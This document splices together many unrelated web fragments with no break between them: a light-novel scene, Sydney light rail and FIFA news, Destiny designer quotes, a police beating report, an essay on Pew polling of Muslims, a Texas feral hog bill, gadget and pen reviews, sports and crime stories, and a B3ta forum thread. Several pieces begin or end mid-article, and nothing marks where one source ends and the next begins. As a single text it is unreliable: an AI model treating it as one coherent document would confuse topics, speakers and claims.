… Now that I think about it, if I purposely lose then Firo will become Motoyasu’s… but he seems to have sworn loyalty to me, so we can make that in name only, and he can deal with Firo’s mating season without me.
I don’t need to know how he’ll deal with it.
After we’ve saved the world, in the sunset, he’ll meet with Firo and once again…
“Master is thinking something strange!” (Firo)
“Naofumi, please quit it with that face you make whenever you think something rude!” (Melty)
Ah, they saw through me.
Well, even if we lose, we won’t lose that much.
“No matter how dirty Firo gets, as long as she works hard, I’ll never abandon her.” (Naofumi)
“Bu-! Firo’s not dirty!” (Firo)
Firo’s speed rose.
Does she know what that means? She must be mad because she does.
Should I make a mistake as the navigator now?
No, I’ll need to have a reason she can accept.
“Firo, go left there. It should be faster.” (Naofumi)
By the way, that way has a bridge suspended by ropes, apparently.
It will be difficult with a carriage.
“W-wait, Naofumi! We’re heading for a rope bridge!” (Melty)
“Yeah.” (Naofumi)
If we fall, I’ll use Portal Shield and warp us out.
Snap. Snap. We hear the sound of ropes snapping around us as we cross.
“KYAAAAAAAAAAAAAAAAAAAAAAAAAAAAA!” (Melty)
Melty’s screaming voice Is quite annoying.
“FUEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE!” (Rishia)
Rishia’s scream is also quite comparable.
Atlas nervously looks between the two screaming people, and grabs my shirt sleeve.
“I-it’ll be fine, right Naofumi-sama?” (Atlas)
“Yeah.” (Naofumi)
“I-I see, What happened to those two?” (Atlas)
“They’re shouting to distract themselves from an unescapable reality.” (Naofumi)
As if she heard me, Melty starts shaking my body back and forth as she screams.
“Mu!” (Firo)
With a final snap, the bridge splits in two.
Now then, to escape.
I prepare to use Portal Shield, but then…
More than 4.6km of track has now been laid along Alison Rd and parts of Anzac Pde between Todman Ave and High St, with 3.9km of track laid on other sections of Anzac Pde where work is still progressing.
media_camera A worker laying track along the Sydney CBD and South East Light Rail Route. Picture: Christopher Shain.
The completion of the track work on Alison Rd means overhead wires can soon be installed, ahead of dynamic testing of the vehicles along that section.
Co-ordinator General Marg Prendergast said the progress on this important section of the route showed just how far the project had come.
media_camera A view of the tracks laid for the Sydney CBD and South East Light Rail on Alison Rd between Cowper St and Wansey Rd. Picture: Supplied.
“Light rail will transform public transport in the South East, by providing reliable turn-up and up services, running services every four minutes between the CBD and Moore Park and eight minutes on the branch lines in each direction,” Ms Prendergast said.
“As well as the completion of track, work is continuing on the first light rail stop on Alison Road.”
media_camera The Alison Road stop opposite Randwick Racecourse taking shape. Picture: Darren Daly.
So have a look at the following quotes, pulled from various interviews and podcasts over the past few months. Destiny still has a lot of question marks surrounding it, but read on and you may just learn something new.
Destiny will never reach a final level of balance
"We have an evolving understanding of balance. In the past you might have characterized our idea of successful balance as getting it to the point where we could [stop working on the game] and it would be perfect. Nobody had to touch it anymore and it would just be a shining gem for all time. But the problem is, those games don't hold a community the same way as a living game like League of Legends or Dota 2. Those games can build these amazing communities around them because they're changing and evolving. There's a metagame that develops over time. The thing that was awesome before is not so awesome now. The thing that you didn't think about before is suddenly the best idea you ever had."
"That kind of dynamic balance where the game is ebbing and flowing, changing and circulating, we understand that and want more of that now. We want to build a game that's always exciting and entertaining, and not just exciting and entertaining because it achieved a final singularity point." - Tyson Green, lead investment designer
Source: Bungie January Podcast
Everything in multiplayer is designed with a counter in mind
"We definitely believe that something can be powerful as long as there's a way to deal with it. That's a hard balance to strike, but that's the reason we play the game every single day. We're constantly looking at these things to make sure there's no one thing that's so extremely powerful that no one is ever going to deal with it."
"[For example], when you use your vertical movement modes, you're actually getting rid of your ability to be in combat for a short amount of time. So if you want to double-jump, if you want to glide, you're putting yourself in what we call weapon-down. You're making a tactical choice at that point. Like, I want to take the high road right now and get away from combat, but I can't just sit in the air and fire on people. That's now how it works." - Lars Bakken, lead multiplayer designer
Source: Bungie January Podcast
You'll need to make lasting choices
That kind of dynamic balance where the game is ebbing and flowing, changing and circulating, we want more of that now. Tyson Green
"We're going in a little bit of a different direction from some of the recent RPGs where they really never asked the player to make any commitments. We want players to actually do some things that they may be locked into, at least for some period of time. Because we feel like that allows a person to actually make a different decision from another person and not just immediately copy the decision that's optimal. Everyone doesn't just go to a website and say, what's the best build? We're trying to give people the opportunity to distinguish themselves. Commitment is part of that. When nobody is committed to anything, nobody's distinct either." - Tyson Green, lead investment designer
Source: Game Informer's Designing the RPG Elements of Destiny
Playlists will change fast and often
"We have a really robust system for how we put together our [multiplayer] playlists, just like we always had in Halo. It's even beyond that now in terms of what we're capable of doing and in terms of how quickly and easily we can rearrange those things. So you can expect a similar cadence, if not faster in some cases." - Lars Bakken, lead multiplayer designer
Source: Game Informer's Revealing the Details of Destiny's Multiplayer
It's an action game first and foremost
"You can't make a bad action game good by adding investment. And you can make a good action game bad by adding investment. So we really have to look at it and say, is the game playing well? What are the ways we can add to this experience? A good example is breadth versus power. If you unlock new abilities and weapons that are balanced but different, those are valid rewards. They don't change or ruin the game; they broaden the game. They give people more varied experiences. So the investment game is really trying to make the action game better by creating breadth, personalization, personal identity, and helping it evolve over time." - Tyson Green, lead investment designer
Source: Bungie January Podcast
Success doesn't come from twitch reflexes alone
"Skill is very important. It's not just your thumb skill, it's understanding how you're outfitting yourself, what choices you've made in your build, and how to use that properly. So getting around the map is different depending on what vertical movement mode you chose. Say there's a door to my right, and a staircase coming up to my left, and straight ahead there's this hole blown in the wall. Is the guy going to come up the stairs, or is he going to use glide to jump up through the hole in the wall? Then what's he going to use at that point? Do I want to plant my prox grenade on the ground so that he lands directly on it, do I want to hide in the corner, sprint towards him and melee him in the face? I don't know what's going to happen. There's such a surprising amount of depth to each encounter." - Lars Bakken, lead multiplayer designer
Source: Bungie January Podcast
You won't be exploring a hopeless wasteland
"We [want to build a hopeful world] because people have limited time they can spend with entertainment. We don't want to put them in this grim, dark, grotesque place. People are choosing to spend their time with us and we want them to feel like they're in a world that's worthy of their time, that's worthy of its heroes. It's really important for us to tell positive stories where every player is on the side of good."
"In terms of what we're doing, I think if you look at the art palette and the post-apocalyptic images, they're not about the terror that happened or the fall of civilization, but this reboot that you get. It's this world where you can leave your 9-to-5 job and become a hero and have fun with your friends, tell these cool stories with one another in a place you want to be in." - Eric Osborne, community manager
Source: GameSpot's Making a World Players Want to Be In
Oscar Guzman was taking a break outside his family's restaurant, watching cars on West 26th Street, at about 10 p.m., when two police officers approached. They began asking the boy questions he was unable to answer, and when the boy turned to run back into the restaurant, the cops pulled out their billy clubs and began beating him, the family said.
"They took out their little bats and they hit him. They opened his skull," said Oscar's sister.
Nubia Guzman, who called police to ask for a supervisor at the scene of the beating, said she was able to record some of the incident with a cell phone camera.
"Police officers saw he was running toward us," Nubia said.
The boy received eight stitches in his head.
FIFA has put on hold the bidding process for the 2026 World Cup amid ongoing allegations of corruption surrounding the awarding of the 2018 and 2022 tournaments to Russia and Qatar, respectively.
FIFA secretary general Jerome Valcke confirmed the news Wednesday, per CBS Sports' Igor Mello.
Planning for the eventual May 2017 vote on the 2026 World Cup was supposed to begin next week, per BBC News.
In a statement, FIFA confirmed that a discussion over rescheduling would be carried out at a later date:
It was decided to place the administrative process on hold for the 2026 FIFA World Cup bidding due to the current situation. Further decisions regarding the 2026 FIFA World Cup bidding process will be discussed by the FIFA Executive Committee at a later date.
A recent slew of allegations over FIFA corruption has led to the potential that Russia and Qatar could have their tournaments taken away from them if wrongdoing in the bidding process is proved, per the Guardian's Owen Gibson.
Indeed, it is certainly not out of the question that a revote may be needed for one or both of the 2018 and the 2022 tournaments, the Daily Telegraph's Henry Winter noted.
As an Arab citizen who lived most of his life in the said Muslim world, and spent his journalistic career trying to make sense of its unending complexities, I can only agree that generalizing never helps. The thing is, unlike what their adversaries claim, that is not what Maher and Harris did. They did flatly condemn Islam as a “bad idea”—and even the “mother lode of bad ideas,” as Harris put it—but that was not a generalization. It was, rather, the legitimate expression of an opinion they are entitled to. How surprising is it that outspoken atheist activists condemn religion? Both made a point in that criticizing any given faith does not amount to condemning its followers, which is true. However, Maher and Harris also affirmed that intolerance in the Muslim world is way more than the fringe phenomenon their co-panelists say it is. That was not meant as a judgment, but rather as a statement of fact. As Harris further elaborated, there is “abundant evidence that vast numbers of Muslims believe dangerous things about infidels, apostasy, blasphemy, jihad, and martyrdom.”
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The “abundant evidence” in question—which popped up in many previous debates on the same topic—comes mainly from one source: a 2013 wide-ranging Pew Research Center survey examining religion-based beliefs and attitudes in 39 countries. Maher mentioned one of its findings, according to which 90 percent of Egyptians believe that “death is the appropriate response to leaving Islam.”
(That number is actually incorrect. The Pew poll rather indicates that among 74 percent of Egyptians who believe Sharia law should be the official law of their country, 86 percent are favorable to punishing apostasy by death—which amounts to a final rate of 64 percent of Egyptians favoring the killing of apostates. Still, 64% prevalence is worrying enough for such a morbid preference.)
Other numbers from the same poll are deeply disturbing: 75 percent of Palestinians favor stoning as punishment for adultery, 58 percent of Jordanians support corporal punishments (including cutting off the hands of thieves) as criminal penalties, and as little as 15 percent of Moroccans believe that sons and daughters should have equivalent inheritance rights (as opposed to the rest who favor the enforcement of the Quranic rule granting females half the inheritance share of males).
Am I saying that Maher and Harris are right in asserting that Muslims in general—or in other words, in their majority—hold savagely violent, intolerant and misogynistic views? That would be the case if I trusted the Pew poll. But I don’t. What I am questioning here is not the methodology of the respected research Institute, but rather the genuineness of the answers provided by many of the 38,000 individuals it surveyed. Just picture the typical polling interview. Imagine you live in a country where Islam is the religion of the State, where criticizing the religion (let alone leaving it) is a criminal offense, where the educational system and the pervasive state media gang up every day to hammer that Islam is the highest moral norm ever—where, hell, even the opposition (mostly made of Islamist groups) does nothing but double down on religious intransigence… And here comes the Pew pollster, a total stranger with a list of disturbing questions pertaining to religion—questions to which the wrong answers can get you in trouble in many ways… Not the best conditions to conduct a credible opinion poll.
Polls, of course, are anonymous, and trained pollsters have their ways to fabricate empathy, including asking the interviewees if they had a good day before engaging them on more serious matters. But as nice as a warming-up chitchat might be, it simply cannot fend off the self-preservation instinct built over a lifetime’s experience of psychological pressure. Of course, the extent of the pressure (which itself depends on the extent to which religion is used as a political tool for social control) varies from one Muslim country to another. But then, so do the answers. While the Pew numbers indicate a high prevalence of the opinion that Sharia should be the law of the land in countries where Islam is the religion of the State (91 percent in Iraq, 83 percent in Morocco, 74 percent in Egypt…), the rate drops to 12 percent in Turkey, where secularism is a forefront constitutional principle. In other words, the more the questioned citizens are coerced into religiosity, the more likely they are to pick the safest answers—those consistent with what they were force-fed about religion since they were kids—when a pollster comes around.
The tricky part is that Western liberals such as Maher and Harris are the first ones to denounce the lack of freedom of thought and opinion in Muslim countries. However, they see no contradiction in trusting opinion polls as solid evidence of what Muslims think. Actually, let’s get to the bottom of this. If the religious opinions of Muslims are questionable, then so is their adherence to religion in the first place. I’m not saying that no citizen from Morocco to Indonesia genuinely adheres to Islam. I’m just stating the obvious: no one knows how many really do—and no one will ever know until people are free to form and state their religious opinions freely. This has an important implication: all of the mainstream Western debate about what 1.6 billion Muslims think is built on the false premise that… there are 1.6 billion Muslims in the first place.
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When Sam Harris started lambasting Muslim intolerance, Ben Affleck jumped out to denounce his “racism”. But since when has Islam become a race? This goes beyond the accidental use of an inadequate word; it reveals a larger, fundamental flaw in the American race-related terminological system. The widespread use of the expression “Muslim-Americans” (as an equivalent to African-Americans or Indian-Americans, for instance) bears testimony of a deeply ingrained Western belief: when it comes to “Muslims” (understand: people living in or originating from the part of the world spanning from Morocco to Indonesia,) religiosity is not a choice—forced or not—as much as it’s a given. One that is as irrefutable as the color of the skin, or the ethnicity. There has been a centuries-long debate on whether Judaism is a religion or an ethnicity (most believe it’s both). But no such debate was ever held in and about the so-called Muslim world. That is simply because so-called Muslims already have a wide array of ethnic identities to pick from: Arab, Persian, Kurd, Amazigh, Pashtun, and the list goes on. Simply put: Islam is neither a race, nor a skin pigmentation, nor an ethnicity; it’s a personal belief. And personal beliefs, contrary to those things, are optional. Yes, even for Arabs, Persians, Kurds, and so on.
Even the Western liberals who burn cultural relativism with the torch of universal Human Rights are confused about this. At some point in Maher’s show, Sam Harris mentioned the “hundreds of millions of Muslims who are nominal Muslims who don’t take their faith seriously.” What an oxymoronic marvel this phrase is. If these people don’t take Islam seriously, why call them Muslims, “nominal” or not? And by the way, who nominated them as such? Despotic governments who never let them free to openly choose a faith (or none), extremist groups who consistently bully them into forced religiosity… and proud American liberals like Sam Harris who, when Islam is around, can’t call an atheist an atheist. Also, “their faith”? The whole point of being an atheist is to not have any! Harris, who would never self-identify as a “Christian atheist,” doesn’t see any problem in speaking about “Muslim atheists.”
This is not just a semantical point. It’s a paradigmal one. If you define people as irremediably Muslims, then the only choice you believe they have is either being a good or a bad Muslim, an extremist or a “moderate” (whatever that means). Western opinion makers must realize that the 1.6 billion people they flatly call “Muslims” hold in fact an incredibly wide array of spiritual convictions, including atheism and agnosticism—and arguably not in small proportions. It’s not just about faith; it’s also about lifestyle. Just ask whoever is familiar with the realities of the Middle East about the prevalence of alcohol consumption, non-marital sex and other not so Islamic social practices. You’d be amazed. Of course, because of the risk of legal reprisal, not officially sanctioned beliefs and practices are generally exercised discretely. But they are nonetheless very common within the alleged “Muslim populations,” and almost the norm within their educated civil societies. That is true to such an extent that speaking about “1.6 billion Muslims, most of whom are pious and devout,” as Washington Post and CNN pundit Fareed Zakaria recently did, is nothing short of delusional.
Two local lawmakers are pushing a bill that would allow the shooting of feral hogs and coyotes from balloons.
State Rep. Mark Keough, R-The Woodlands, and Rep. Cecil Bell, R- Magnolia, are two of the several sponsors of House Bill 3535, a measure originally introduced by Keough in March that would have allowed the shooting of hogs from balloons. The wording of the bill was later expanded to also include the shooting of coyotes from balloons.
NEED TO KNOW: The ins and outs of feral hog hunting in Texas
The measure is with the Texas Senate after being approved in the House with no opposition on Tuesday.
Because Texas, as well as wide areas of the southwest have an ongoing problem with the expanding hog population, hunting the animals from helicopters, derisively called "pork choppers" by some, has been legal in Texas for several years.
The new law by Keough and Bell would expand aerial hunting to include balloons, because, according to its backers, hunting from helicopters has its limitations.
"The hogs are smart creatures so they scatter when they hear the helicopters coming," said Jason Millsaps, Keough's Chief of Staff, adding that the state has a "huge hog issue."
HOG NEWS: Lawmakers moving to restrict feral hog poisons
According to Millsaps, balloons provide a hunting platform that is more stable for hunters, and costs considerably less than going up in a helicopter.
"It's a matter of expense and safety," Millsaps said.
Officials with the Texas Parks and Wildlife Department, noting they do not provide comment on any pending legislation and that the department does not offer any opinion on the bill, estimate there are more than 1.5 million feral hogs in Texas. And, because there are few factors to curtail their expanding populations -- such as natural predators -- the hog population across the state is virtually running wild.
"The whole state of Texas has a feral hog problem," John Kinsey, wildlife research biologist for the department, told The Courier.
"Some counties may be populated greater than others, but Montgomery County is right in the middle of the battleground."
NO SQUEALING: Texas hunters not so wild about Sid Miller's 'hog apocalypse'
Indeed, a study conducted in 2000 estimated that $1.5 billion was being spent annually in the U.S. on combating feral swine. And as Kinsey notes, that is a 17-year-old estimate. Meanwhile, the feral hog population continues to grow and damage caused by the animals -- such as rooting up and trampling crops, destroying livestock watering and feeding facilities and being a general nuisance -- continues to get worse.
"Economically, they are a huge problem for ranchers and property owners. Ecologically, they are an exotic invasive species that competes with native indigenous wildlife for food, habitat and water," Kinsey said.
Kinsey says though there are several current methods of eradicating the hogs, including aerial hunting, none have shown great success.
One of the images sent to YouTube channel The Family Video Gamers.
Developed by Sledgehammer Games, the studio behind 2014's COD: Advanced Warfare, this new COD will be the first to venture back to the series' World War roots since 2008's World at War.
Images published on YouTube channel The Family Video Gamers last weekend showed logos and box art for "Call of Duty: WW2". Eurogamer has since verified this does indeed relate to this year's game.
After declining sales of the series came to a head last year with the widely-disliked Infinite Warfare, Activision suits recently reassured investors that COD would head "back to its roots".
Sledgehammer Games co-founder Michael Condrey has also previously expressed interest in making a World War 2-set game - three years ago, in late 2014. Call of Duty games are on a three-year development cycle, shared between Activision's three COD studios (Sledgehammer, Infinity Ward and Treyarch).
"A next generation game with the latest production values and robustness in a World War 2 setting like Band of Brothers would be amazing," Condrey said.
Activision declined to comment when contacted by Eurogamer.
This year's Call of Duty is the second unannounced Activision game to leak in as many weeks, alongside Destiny 2.
I'm really enjoying this watch. I've had the original Samsung Gear for almost two years. It uses Tizen rather than Android Wear so I wanted to give Wear a try to get a good comparison with Tizen. I have to say I really like Android Wear better, the Google Now & voice integration is amazing and fast. Samsung did a great job with the specs on this watch. The quad core processor makes the voice integration seamless and really fast. Whether it's replying to an email, SMS or IM, asking a question or giving the watch commands it responds instantaneously. There is zero lag. Compare that to Tizen and S Voice which is extremely laggy when it actually interprets your commands correctly. The quad core and Wear may also contribute to the dismal battery life this watch and other Wear based watches have. I find myself using the voice features a lot more, since they actually work, so I'm sure that contributes to the battery issues. On Tizen I get 7-8 day on a charge vs 2.5-3 days on Wear. That is a huge difference however I enjoy the experience of Wear much better so I'll just charge more often. Charging this watch is also interesting since Samsung included a small clip on charger, which looks better than the original charger for the Gear, that is a pain to get on. There was an issue with the little indentations on the charger andor the watch snapping off. I haven't had that issue but it is a documented issue that several people have experienced. I like the silver chrome look of the body and the black bezel with no writing. The watch has a clean classy look look vs the utilitarian look of the Gear with exposed screws. Samsung could have included a nicer metal band but at least it uses a standard 22mm connection so you can put whatever band you want it. The two things I miss about the Original Gear are the camera and the speaker. Even though I didn't use the camera often it is handy to have when your phone is dying and you want to snap some pics. The speaker in invaluable, as I have answered many calls on my Samsung Gear when my hands where full and i couldn't reach my phone. One thing I really love about this watch is the built-in wifi, I can connect my watch to phone from anywhere there is an internet connection. I can even do it on wifi hotspots with a capture portal (those that require clicking an accept button or authentication) by installing Wear Browser. This feature was added in Wear 5.1.1 and works perfectly. I paid $79 for the watch which originally sold for $200 so I think I got a great deal. Even though I won't give it 5 stars it is still a great watch and well worth what I paid for it.Read full review
Detroit-based Blue Cross will lease about 65,000 square feet across three floors in the 1000 Town Center skyscraper with a planned opening in late April or early May, said Helen Stojic, director of corporate affairs for BCBSM.
The employees will be a mixture of new hires and current employees working out of the Detroit headquarters, Southfield and Lansing. Blue Cross' footprint in its 21-story headquarters at 600 E. Lafayette Blvd. in downtown Detroit will remain the same as it repurposes the space being vacated for other business units, Stojic said.
The employees are from departments in the insurer's Emerging Markets Division, which Crain's reported on in March.
Among those taking space in Southfield are divisions within Tessellate, which is a business unit offering other health plans with Medicare risk adjustment and quality programs, Stojic said.
Blue Cross has more than 6,000 employees in downtown Detroit.
Last May, the board of the Michigan Blues approved a plan to create an emerging markets division that would coordinate new and enhanced business lines like Medicare Advantage. Besides helping fellow Blues plans, the idea is to boost revenue and profits to help the Michigan Blues subsidize other operations.
As part of that new plan, Blue Cross now is managing claims and offering various support services to two smaller Midwest Blues' plans for their Medicare Advantage products, Elizabeth Haar, Blue Cross' new president of emerging markets division, said in June.
The emerging markets division now includes the Accident Fund, Medicare Advantage, Medigap (Medicare supplemental insurance) and two unnamed departments that will offer business outprocessing and quality improvement services for Medicare products.
Nationally, there are 36 Blues plans with 107 million members. Medicare Advantage is a health insurance business line that has been especially profitable for insurers the past several years, including the Michigan Blues.
On the quality improvement consulting services the Michigan Blues are now offering, Blue Cross officials said they will help other plans achieve quality measures, review portfolio of insurance services, support pharmacy benefits and offer general consulting services,
Haar said she believes the Michigan Blues can help other Blues plans earn a 2-to-1 return on investment.
Transwestern has the management and leasing contract for the Southfield Town Center, a 2.2. million-square-foot office complex that was purchased in 2014 by New York City-based 601W Cos. for $177.5 million.
The 1000 tower is 28 floors with 598,000 square feet and was built in 1989, according to CoStar Group Inc., a Washington, D.C.-based real estate information service.
CoStar says the building is 80 percent occupied.
The deal marks a win for the Southfield Town Center complex, which is expected to lose Microsoft Corp. as a 50,000-square-foot tenant under an expected deal with Dan Gilbert to bring the software company to downtown Detroit.
Dan Taberski, the man behind the podcast, says he was also close to Simmons and that he started the project because he, too, became worried when Simmons basically vanished from public appearances or even just hanging out with his friends. But Tom Estey, who reps Simmons, tells People that everything being claimed in the podcast is a "complete load of crap." Instead, Estey says, Simmons just wanted to retreat into a life out of the limelight. As for Reveles, Estey calls her "extraordinary" and "amazing," noting she's worked for Simmons for nearly three decades and does nothing but take "impeccable care" of him. Estey also asserts neither he, Reveles, nor Simmons will be participating in the podcast in the near future. "This man is a saint … leave him alone," he says. (Simmons put out a Facebook post last year regarding a rumor about himself.)
The legendary Italian forward, lured to Australia by Sydney FC, says spending up big on elite talent is crucial to the growth of the A-League, which has stagnated this season going by crowd figures and armchair audiences.
“As a marquee player, you create a lot of energy,” he said from Los Angeles on Wednesday morning (AEDT).
“Having good marquee players, good players that can bring a lot of experience inside and outside the pitch, they can help the club to grow together and make another level.
Round 21 Visit Match Centre Visit Match Centre Visit Match Centre Visit Match Centre Visit Match Centre
“It means a lot from my point of view.”
Del Piero would know.
In two seasons with the Sky Blues from 2012 to 2014, the World Cup winner took Sydney FC to new audiences at home and abroad. He did not bring the club success - they missed the finals in year one and finished fifth in his second campaign - but his 24 goals in 48 appearances delighted fans.
Adam Peacock, Simon Hill and Daniel Garb dissect the big issues in football this week, while Matildas star Kyah Simon drops by for a chat.
More marquees could be headed Australia’s way under FFA chief Steven Lowy’s plans to get head office involved in recruitment. Last week, Lowy pledged millions of dollars to finding and securing marquees, including overseas-based Socceroos, within FFA’s new four-year strategic plan.
Reflecting on his time in Australia, the 41-year-old engaged in a touch of historical revisionism when considering the flow-on effects of his move down under.
“When I went there the football become very, very popular,” he said.
“The stadiums were sold out most of the time.
“People loved to be involved in football and we changed the philosophy of football in that country.
Alessandro Del Piero in Sydney. Source: News Corp Australia
“After the two years Australia won the Asian Cup and one of the clubs won the Asian Champions League.
“This means a lot. When you make a lot of investment, a result like that is incredible.”
While Wanderers fans will no doubt snicker at the suggestion that Del Piero was partially responsible for their continental success, Del Piero also overstated his impact on Sydney’s crowds. The average attendance at Sky Blues matches jumped by two-thirds to over 18,000 during his time at the club, still well short of Allianz Stadium’s capacity of 45,000.
Del Piero said Melbourne City, known as Heart during his time in Australia, was being rewarded for increasing investment in players.
“Melbourne City change their ownership (and) you see what it means. It puts a new energy,” he said.
No matter how their team performs, Jets fans will never like the Patriots. Need proof? A group of Jets fans, the same fan base that paid for the FireJohnIdzik.com billboards, paid to have a small plane fly over Patriots training camp with a trailing banner that reads "cheaters look up!" For photos of the plane and banner, check out Metro New York and posts below.
Article continues below ... Banner flying over #Patriots practice: "Cheaters look up! @jetsfanmedia" A photo posted by @benvolin on Jul 30, 2015 at 7:24am PDT
Shots fired! "Cheaters look up @JetsFanMedia" wow Plane flying around training camp pic.twitter.com/37pQRhQ1lb — Bryan Salmond (@BSalSportsGuy25) July 30, 2015
According to Ben Volin of the Boston Globe, the plane has circled the practice field at least twice.
What are the odds Tom Brady looked up? I’d say pretty good. It’d be hard to ignore a plane with a trailing banner flying over practice — even if you are one of the best quarterbacks of all time.
The "Cheaters look up!" plane has circled the practice field at least twice now — Ben Volin (@BenVolin) July 30, 2015
According to The Wall Street Journal, Threshold Entertainment — whose major credits include 1995's live action Mortal Kombat film and the sequel Mortal Kombat: Annihilation — is teaming up with the Tetris Company to create a live action movie based on Tetris, the game, to premiere in live action theaters. This is Threshold CEO Larry Kasanoff (emphasis ours):
"It's a very big, epic sci-fi movie... This isn't a movie with a bunch of lines running around the page. We're not giving feet to the geometric shapes." "Brands are the new stars of Hollywood. We have a story behind ‘Tetris' which makes it a much more imaginative thing."
No cast, crew, production date, or release date have been determined. No writer has been named.
We don't know what the story is, but here's the movie's pre-designated baseline, according to these fan-made trailers from years past:
From Black20 Studios (2008). "A brother dies. A hero is born." It's basically Gladiator, but set in a dystopian future where "Tetris pilots" compete in an arena.
From Warialasky (2012): "I did not create Tetris. I was but a messenger. I was so wrong." Basically... Independence Day. Or maybe War of the Worlds. Or any other invasion movie, take your pick.
Apropos of nothing, here's a mock poster from Penny Arcade in 2003:
And also this:
Appearance and Design
There is no doubt that this is a cheap pen. The soft blue-green color scheme and obvious branding stamped onto the side of the pen ensure that it fits in perfectly on a shelf between the ballpoint pens and the Platinum Preppy fountain pens. Though the plastic material of the barrel feels light, it does not seem too weak to withstand daily wear and tear. On the other hand, the grip section feels like plastic borrowed from a toy with its funny little grip pattern imprinted into it. Despite all of this, holding the pen isn’t too uncomfortable. There is a significant step down from the barrel to the grip which some might find troublesome. The cap posts deeply and securely so there is no concern of it falling off while writing, and it clicks on to the front end with an equal amount of security. The nib is tiny and features no decorations or branding of any kind (not that there is much space for any of that). Overall, the size of the pen is adequate, but the heft of the pen leaves me wanting. The cap contains enough plastic to actually make the pen somewhat back-heavy when posted. Not enough to cause any issues, of course. The pen is accompanied by six mini-cartridges filled with Morning Glory’s proprietary black ink.
Writing Experience
Initially, the nib would not lay down a consistent line and the feed could not channel ink properly. After tweaking the nib a bit, the pen finally started to write. The nib is surprisingly smooth and I could see how the pen might be a great beginning tool for a young student. My only concern would be the slightly fragile nature of the construction versus something more solidly built like a Platinum Preppy. There is no flex in the nib. If you even attempt to flex the nib, it will become bent beyond recognition and will cease to function. Following the initial adjustments, the feed kept up perfectly and there was no skipping of any kind. It provided a perfectly acceptable writing experience that actually became rather pleasant after a while. The only issue I had was that the lightweight nature of the pen did not suit me for longer writing sessions. As a side note, the ink in the cartridges that come with the pen is surprisingly water resistant and a very deep shade of black. I might have to acquire more and do some tests with it.
Conclusion
This is a cheap pen, and you get what you pay for. And for (essentially) $2 USD, you get a pen that can write well, comes with several permanent black ink cartridges, and is a bit different from your average ultra entry-level fountain pen. Obviously it is nothing close to a must-have, but if you can get your hands on one, it could be a fun option for someone who appreciates the “quainter” side of life who you are introducing to the wide world of fountain pens.
The 27-year-old from Courtland, Miss., is currently jailed in Louisiana on unrelated charges.
>> Read more trending stories
Chambers, 19, was found burned alive on a Panola County backroad in 2014. Her murder attracted international outcry because it was so vicious and as time passed with no arrest, a mountain of rumors accumulated.
Residents in Panola County were happy to see a big break in the case.
“I think it’s time,” Catherine Black said. "The whole community is ready to put it to a close.”
Chambers was alive when first responders found her but she died hours later.
For more than a year, the case remain unsolved and people allowed rumors to spread about a possible motive or who might have been involved.
“In a small town," Batesville resident Cassidy Logan said. "In a close-knit community like this, I thought people who knew would come forward quicker."
The prosecutor and investigators finally collected enough evidence to take the case to a grand jury recently, and an indictment was handed down.
One police officer, who did not want to be identified, said Tellis claimed to be part of a gang and left Panola County shortly after Chambers' murder.
According to arrest records, police apprehended Tellis in August 2015 for unlawful use of an access card. Police said he used a stolen Chase Bank debit card on three different occasions.
That card belonged to a homicide victim but Tellis has not been charged in that individual’s death as of Tuesday.
He was also charged with drug possession, and he was listed as being on probation in Mississippi.
News:
* Nicholas Meyer has joined the next Star Trek movie
* Batmap vs Superman, Director’s Cut might be Rated R!
* The upcoming D&D movie will be a “Fun romp” … and probably not good
* 3 EVE:Online developers are leaving CCP Games
* Vivendi launched a hostile bid for Gameloft, and Ubisoft?
* Sony PSVR is actually powerful, and Sony is making a powerglove
* The developers of the original Descent games are doing a kickstarter for a new game!
Tom Clancy’s The Division Betas:
Yo Jolly Roger and Bamm Havoc look back at both the betas (Closed and Open) for Ubisoft’s The Division, and reveal that they are both going to play the final game looking sharp with a scarf.
Special Guest:
We welcome back friend-of-the-show Shahin Kanafchian of Wargaming, the community lead for the Console version of World of Tanks, as we talk with him about the game and his job around the community with events, tournaments and e-Sports, and keeping the twitter accounts lively with memes!
Shahin is also known by his nom-de-plume Eskai Music when creating music and remixing other people’s music, and we hear about him being on Armada and working with Above&Beyond, and Silk Music. Esaki’s style is Progressive House/Progressive Trance, and his music has been played by the well-known Electronic Music DJ Armin Van Buren (who is Dutch, not Russian).
To hear some of Shahin / Eskai’s music, check out his Soundcloud profile, go visit his Facebook page, or find him on the local San Francisco scene e.g. at Ruby Skye.
For the alphabetean amongst you, a YouTube version.
We all know the problem.....
archived) ( , Tue 15 Dec 2009, 13:00,
Hahahahahahahaahahaahahahahaha
"rim twang"
HahahahahahahaahahaahahahahahaHahahahahahah
hahahahahahahaahahaahahahaahahaahahahahaha
hahahahahahahaHahahahahahahaahahaahahahahaha
hahahaahahaahahahahahaHahahahahahahaahahaahahahahaha ( , Tue 15 Dec 2009, 13:01, archived) ( , Tue 15 Dec 2009, 13:01,
I like the phrase Rim Twang :D
Woo! ( , Tue 15 Dec 2009, 13:02, archived) ( , Tue 15 Dec 2009, 13:02,
Oh dear god I just set your head on fire.
( , Tue 15 Dec 2009, 13:06, archived) ( , Tue 15 Dec 2009, 13:06,
Hey Mu.
Thanks to Family Guy, I am now learning all about The Empire Strikes Back :D ( , Tue 15 Dec 2009, 13:14, archived) ( , Tue 15 Dec 2009, 13:14,
\o/
( , Tue 15 Dec 2009, 13:14, archived) ( , Tue 15 Dec 2009, 13:14,
Oh man!
I totally meant Return of the Jedi! ( , Tue 15 Dec 2009, 13:19, archived) ( , Tue 15 Dec 2009, 13:19,
Nevermind,
they're all shit ^^ ( , Wed 16 Dec 2009, 13:19, archived) ( , Wed 16 Dec 2009, 13:19,
That is win.
( , Tue 15 Dec 2009, 13:10, archived) ( , Tue 15 Dec 2009, 13:10,
'Rim twang' hahahahahahahahahaha
archived) ( , Tue 15 Dec 2009, 13:04,
FUCKING HELL
That was a genuine office lol, I'm choking on my sandwich ( , Tue 15 Dec 2009, 13:22, archived) ( , Tue 15 Dec 2009, 13:22,
Brilliant!
now come up with something to help with the "post sex multi directional spray" and you'll be rich! ( , Tue 15 Dec 2009, 13:06, archived) ( , Tue 15 Dec 2009, 13:06,
ha!
this ( , Tue 15 Dec 2009, 13:09, archived) ( , Tue 15 Dec 2009, 13:09,
in
many directions at once ( , Wed 16 Dec 2009, 14:27, archived) ( , Wed 16 Dec 2009, 14:27,
It's called a shower.
( , Wed 16 Dec 2009, 18:41, archived) ( , Wed 16 Dec 2009, 18:41,
The "golden sprinkler"?
